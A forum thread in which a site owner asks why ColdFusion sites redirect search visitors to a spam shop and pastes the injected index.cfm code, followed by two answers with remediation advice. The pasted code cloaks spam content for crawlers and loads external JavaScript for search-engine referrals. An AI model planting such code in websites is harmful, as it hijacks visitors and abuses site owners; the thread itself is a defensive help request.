Aargh! Coldfusion sites are being hacked - redirect

Question

Some of our coldfusion sites are being redirected to a mulberry site when someone does a google search. Is there a way to prevent this? How are they doing it in the first place? It look like this code is being inserted into the index.cfm:
<cffunction name="isSpider" returntype="boolean">
<cfif reFindNoCase("(bot|crawl|spider|slurp|yahoo|sohu-search|lycos|robozil la)", cgi.http_user_agent)>
<cfreturn true />
<cfelse>
<cfreturn false />
</cfif>
</cffunction>
<cffunction name="isEngine" returntype="boolean">
<cfif reFindNoCase("(google|bing|aol|search|baidu|yahoo|sogou|soso|live|you dao|so)", cgi.http_referer)>
<cfreturn true />
<cfelse>
<cfreturn false />
</cfif>
</cffunction>
<cffunction name="isPage" returntype="boolean">
<cfif reFindNoCase("(index.|default.|main.)", cgi.script_name)>
<cfreturn true />
<cfelse>
<cfreturn false />
</cfif>
</cffunction>
<cfif isSpider() and isPage()>
<cfcontent reset="true" />
<cffile action="read" file="#expandPath("/images/log.gif")#" variable="tpl" />
<cfoutput>#tpl#</cfoutput>
<cfabort />
</cfif>
<cfif isEngine() and isPage()>
<cfcontent reset="true" />
<script src="http://www.shopsnapbackhatus.com/jie/mulberry.gif" type="text/javascript" charset="utf-8"></script>
<cfabort />
</cfif>

Answer 1

You've not mentioned which version of CF, nor whether IIS or apache etc (again which version) etc.
The attack could be coming through multiple vectors, and it's highly likely there's a backdoor of some description judging by the fact they're actively writing code to templates. Even if you find the entry point, it's not going to do any good unless you can say 'yes it was this' and patch it. Is your CF up to date?
Start Here: http://hackmycf.com/
Then look at your templates - I'm willing to bet there's some .cfm files in there which shouldn't be. have you got a backup? compare it (and go back months - a lot of intrusion attempts access early, leave it for a while, then start doing things).
Personally, I'd consider wiping and starting again to be absolutely sure, but even then, you need to check the code you redeploy is 100% safe, and that the environment is fully patched, and that you actually found the initial cause.

Answer 2

First of all
it may be due to google or other search engine instead check your code.
Apply current patches from ColdFusion.
Make sure you are using for all of your queries since SQL injection is most probably cause this.
And don't forget about XSS attack. If those sites taking user input which displaying publicly then first encode appropriately user input your site.
Check out ColdFusion lockdown guide (please choose as per your coldfusion version) http://www.adobe.com/content/dam/Adobe/en/products/coldfusion/pdfs/91025512-cf9-lockdownguide-wp-ue.pdf
All of the above perform vulnerability test for all your site (if you are managing it) using any commercial or open source tool (I like Zad Attack Proxy).
Before doing all of the above check your existing database for miscellaneous code (normally javascript tag) and correct it.